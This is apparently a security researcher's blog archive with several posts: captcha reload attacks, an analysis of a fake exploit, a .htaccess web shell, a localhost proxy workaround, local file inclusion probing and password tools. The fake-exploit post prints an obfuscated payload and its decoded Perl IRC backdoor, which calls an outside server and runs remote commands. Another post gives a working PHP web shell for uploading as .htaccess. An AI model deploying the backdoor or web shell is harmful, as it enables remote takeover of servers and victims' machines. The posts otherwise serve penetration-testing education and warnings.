Captcha reload and other attacks

|
This post has been sitting in draft state for almost two years now so I figured I'd publish it. The captcha reload attack in particular attack targets captchas that support some form of user supplied input and change the captcha value in session upon image creation. In it's simplest form the attack works like this;
  1. Attacker visits page with captcha (session has captcha value y)
  2. Attacker loads a targeted captcha url which changes the value of the session (session has captcha value z)
  3. Attacker submits form from step1 with a certainty or increased likelyhood of having the correct captcha due to step2.
Better yet, lets discuss some real examples I have discovered during penetration tests.

User suppplied text in captcha url
(http://domain.com/captcha/image.php?w=aZcG5x)
Captcha value = query string. I'm not going to dicuss this one.

User suppplied seed in captcha url (http://domain.com/captcha/image.php?r=13323)
A known seed is as good as providing the captcha string in url. Once a human decodes the captcha message it will never change.

User suppplied text in domain state in captcha url (http://domain.com/captcha/image.php?t=HFG_UJHNB_jBHHJGSDJSMSAKDJGSJetcetc)
As above if the session is updated. In the penetration test where I found this the session was not updated, however the text can be used to identify known captcha text if a human decodes a few hundred captchas (they were only using 4 letters). In this case the attacker would reload the step1 url until a known domainstate string  appears and submit the form with certainty of the captcha value.

User suppplied complexity in captcha url (http://domain.com/captcha/image.php?characters=3)
This one comes from an old copy of this script: http://www.white-hat-web-design.co.uk/blog/php-captcha-security-images/. By reloading the captcha the captcha complexity would be reduced to 3 characthers This script also allowed you to increase the image size which caused the letters to appear with far less obfuscation. Older versions of the script allowed you to lowver the character count to 1 and allowed image sizes so large that you could remove the text obfuscation completely or cause a denial of service attack by generating very large images.

Since the white hat web guys are kind enough to host a demo I decided to make a video showing how the attack works:

Got some exploit code that you didn't write? You had better check it first. Especially as I've seen a few people link to fake exploits lately. One example is the supposed winnuker from http://www.hackerthreads.org/Topic-5973. Which sports the following payload:


h3llc0de=
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63"
"\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69"
"\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72"
"\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e"
"\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65"
"\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f"
"\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49"
"\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e"
"\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22"
"\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63"
"\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d"
"\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43"
"\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68"
"\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20"
"\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64"
"\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65"
"\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d"
"\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d"
"\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20"
"\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c"
"\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22"
"\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53"
"\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20"
"\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66"
"\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20"
"\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20"
"\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f"
"\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63"
"\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68"
"\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f"
"\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e"
"\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e"
"\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28"
"\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24"
"\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d"
"\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24"
"\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24"
"\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22"
"\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22"
"\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c"
"\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d"
"\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64"
"\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"; 
Never run an exploit if you didn't write it or don't understand the shellcode. I cannot stress that enough. Anyway, the exploit code has a bad smell to it, so I do a lazy check of the shell code:
~$ echo -e "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";
#!/usr/bin/perl
$chan="#darknet";$nick="moron";$server="efnet.vuurwerk.nl";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER moron +i moron :moronv2\nNICK moron\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exploit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi
If you work with hex or shellcode regularly you might have already worked out that the shellcode was in fact text (the large number of \x20 is a pretty dead giveaway). As you can see a quick check of the shellcode reveals that this is in fact a fake exploit that offers a remote shell to the entire efnet #darknet channel. If the shellcode is binary then you'll need to do some more analysis, but for most fake exploits the above technique usually reveals them.
Internet Explorer and the .NET Framework are hardcoded not to send requests for "127.0.0.1" or  "localhost' through a proxy. So if you're testing an application that communicates with a service bound to the loop back interface it's not straight forward to intercept the traffic using Burp or another intercepting proxy. In IE9 they fixed this, by adding <-localhost> to the "do not use proxy" list will override this behavior. However if you're testing on an older version of IE you will have to use a work around.

Most articles on the web will tell you to use the IP address or machine name of the server you are testing. Which works fine if the service is bound to 0.0.0.0 or the public interface. However, if the service is bound to 127.0.0.1 you cannot reach the service via the machine name or the public interface IP. One option is to setup a tunnel using netcat, stunnel, socat, etc to forward requsts from the public interface to the loopback interface. Or you can use dns. The hardcoded restriction only triggers if the url has the string 127.0.0.1 or localhost in it. Requests to 127.0.0.2 or a domain that resolves to 127.0.0.1 are sent through the proxy.

So depending on your level of access to the system, you can add an entry in c:\windows\system32\drivers\etc\hosts for l0calhost , like this:
127.0.0.1 l0calhost
Or you can create a dns entry for a domain you control that resolves to 127.0.0.1. If you are running bind that should look like this (remember to update the serial number too):
loopback.yourdomain.com IN A 127.0.0.1

You can now intercept the traffic for the service through the proxy by using http://l0calhost/ or http://loopback.yourdomain.com/


A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

Update: Due to the large number of comments on this post I have created more project information including a FAQ and tutorial under the project page.
Well April sped past like a bullet. I missed updates to the blog as I migrated to yet another hosting provider. By now I have done it so many times that the core shift only takes about 10 minutes work and some rsync commands. As usually I forget a few bits and pieces. If you have had any email bounces to me then please resend to the usual wireghoul address.

So here is a quick roundup of April:
  • charmunge.pl was the April addition to Jason
  • Graudit gets closer to 2.0 release
  • My first 2011 advisory went out (JAHx111)
  • No April tutorial happened.
And that is it for April. For the remainder of May there will be another update to Jason, two tutorials, more graudit updates, one or more advisories and if you're going to AusCERT and want to catch up for a beer/coffee let me know!

Known hash replay attack

|
The use of client side password hashing in web application (such as http://pajhome.org.uk/crypt/md5/) may be on the rise. At least it appears that way to me as I have seen several deployments lately.

These hashing libraries usually promises to keep a user's password secure in non ssl environments.
One could argue that they perform the intended task. The problem with http traffic compared to https is that the traffic is obtainable by anyone else connected to the same network as the user (or the server). If an attacker obtains the hashed password string he or she can provide the hash to the server to authenticate as the user without knowing the users actual password.

This does mean that the user's plaintext password is safe until the hacker breaks it so for users who use the same password everywhere, there is a marginal protection when websites use hashed passwords. It's still a far cry from the relative security of submitting sensitive data over a SSL encrypted connection.

The March addition to Jason is iterate.pl, a script which iterates numeric values in passwords.
~/Jason$ ./iterate.pl password1
password1
password0
password2
password3
password4
password5
password6
password7
password8
password9

You can grab a copy from the github project page: https://github.com/wireghoul/Jason
Most of us think game over when we see a url that cointains a file reference, like http://localhost/basename.php?file=hello.php. Lets say that you were doing a penetration test where you are trying not to trigger any IDS alerts. How can you determine if the script filters the page variable using basename? Here are some simple steps that should go undetected.

Lets say that the scripts in this fictional url are as follows:
[basename.php]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
        <title>Basename poc file</title>
</head>
<body>
<?php
if (file_exists(basename($_GET['file']))) {
        include(basename($_GET['file']));
} else {
        echo "404 - File not found";
}
?>
</body>
</html>
[hello.php]
<?php echo "Hello World\n"; ?>
The first test we take is to determine what a negative response would be, we'll visit http://localhost/basename.php?file=hello.wisconsin, this nets us a custom 404 error. Now that we have a false contition the next test is simply http://localhost/basename.php?file=a/b/c/hello.php. If this gives us the same output as http://localhost/basename.php?file=hello.php the script is using basename (or a similar technique) to extrace the filename. If you get a negative response the script appears to be vulnerable to directory traversal/LFI/RFI. Better encode your next attack to avoid triggering the IDS.

Happy hacking!
(And yes, this is the February tutorial running late).

Left or right handed passwords

|
Are you left or right handed? How about your password? English based passwords seem to be predominantly left handed. Although I haven't done the proper analysis I suspect it's simply due to the left hand side of the keyboard containing more of the "higher" letter frequency of the Englih language (AERTSD) and the lower number range, which also seems to be favoured over the upper number range.

The February password addition to Jason is handiness.pl, a script which meassures left/right hand usage when entering a password.
~/Jason$ echo -e "123456\npassword\nqwerty\naaaa\nLLLL\n" | ./handiness.pl -
Handiness! Calculates hand use in passwords. 1 is 100% left hand -1 is right hand
0.833333333333333  123456
0.5   password
0.666666666666667  qwerty
1     aaaa
-1    LLLL

You can grab a copy from the github project page: https://github.com/wireghoul/Jason

Game hacking - Hex editing memory

|
Only a few days after I posted my Hex editing save game tutorial, kees over at codeblog posted a quick recounting of how he hacked a game by hex editing the memory on linux.

If you liked my article you should find this interresting, http://www.outflux.net/blog/archives/2011/02/05/fun-with-game-memory/.

January tutorial

|
Last months tutorial ran a little over time. It was game related as it was written during winter-een-mas, but it is finally online without too many spelling mistakes.

The January tutorial is:
Game hacking - Hex editing save games
No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.